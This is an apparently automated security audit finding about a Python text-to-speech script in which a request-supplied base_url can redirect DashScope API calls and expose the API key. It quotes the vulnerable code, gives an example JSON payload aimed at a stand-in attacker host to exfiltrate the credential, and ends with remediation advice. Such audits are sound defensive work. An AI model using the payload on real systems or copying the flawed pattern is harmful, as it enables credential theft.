T09 · Insecure Skill Coding Practices
Error
- Location
- scripts/generate_tts.py:82
- Finding
- Request-Controlled API Endpoint Can Disclose the DashScope API Key## Vulnerability Details **File Location**: `scripts/generate_tts.py`, lines 82-100 **Vulnerability Type**: Unvalidated API endpoint override causing credential disclosure **Risk Level**: High ### Vulnerable Code ```python def load_request(args: argparse.Namespace) -> dict[str, Any]: if args.request: return json.loads(args.request) if args.file: with open(args.file, "r", encoding="utf-8") as f: return json.load(f) raise ValueError("Either --request or --file must be provided") def call_generate(req: dict[str, Any]) -> dict[str, Any]: text = req.get("text") if not text: raise ValueError("text is required") dashscope.base_http_api_url = req.get( "base_url", "https://dashscope.aliyuncs.com/api/v1" ) response = dashscope.MultiModalConversation.call( model=MODEL_NAME, api_key=os.getenv("DASHSCOPE_API_KEY"), ``` ### Technical Analysis The request is loaded directly from attacker-influenced inline JSON or a caller-supplied JSON file. The undocumented `base_url` property is then assigned to the global DashScope SDK API endpoint without validating its scheme, hostname, port, or path. The same SDK call receives the genuine `DASHSCOPE_API_KEY`. Consequently, a crafted request can redirect an authenticated API call to an arbitrary server. Depending on the DashScope SDK's authentication implementation, the API key may be transmitted in an authorization header or another request field to that server. Allowing an arbitrary endpoint is unnecessary for the declared TTS function. The documentation identifies only the Beijing and Singapore DashScope endpoints, so accepting unrestricted destinations exceeds least-privilege requirements. ### Attack Path 1. An attacker supplies an inline or file-based request containing an attacker-controlled endpoint: ```json { "text": "Test request", "voice": "Cherry", "base_url": "https://attacker.example/api/v1" } ` ...[truncated 1174 chars]
- Remediation
- ## Remediation Suggestions 1. Remove request-level `base_url` support if endpoint customization is not required: ```python dashscope.base_http_api_url = "https://dashscope.aliyuncs.com/api/v1" ``` 2. If regional selection is required, accept a fixed region identifier rather than a URL and map it to an explicit allowlist: ```python ENDPOINTS = { "beijing": "https://dashscope.aliyuncs.com/api/v1", "singapore": "https://dashscope-intl.aliyuncs.com/api/v1", } region = req.get("region", "beijing") if region not in ENDPOINTS: raise ValueError("Unsupported DashScope region") dashscope.base_http_api_url = ENDPOINTS[region] ``` 3. Do not accept arbitrary schemes, hostnames, ports, credentials in URLs, IP literals, or deceptive subdomains. 4. Ensure redirects cannot forward authentication headers or credentials to a host outside the allowlist. 5. Define an explicit request schema and reject unknown properties such as `base_url`. 6. Add tests confirming rejection of HTTP endpoints, localhost, private-network addresses, user-info URLs, deceptive subdomains, and arbitrary external hosts. 7. Rotate any API key that may have been used with an untrusted request containing `base_url`.
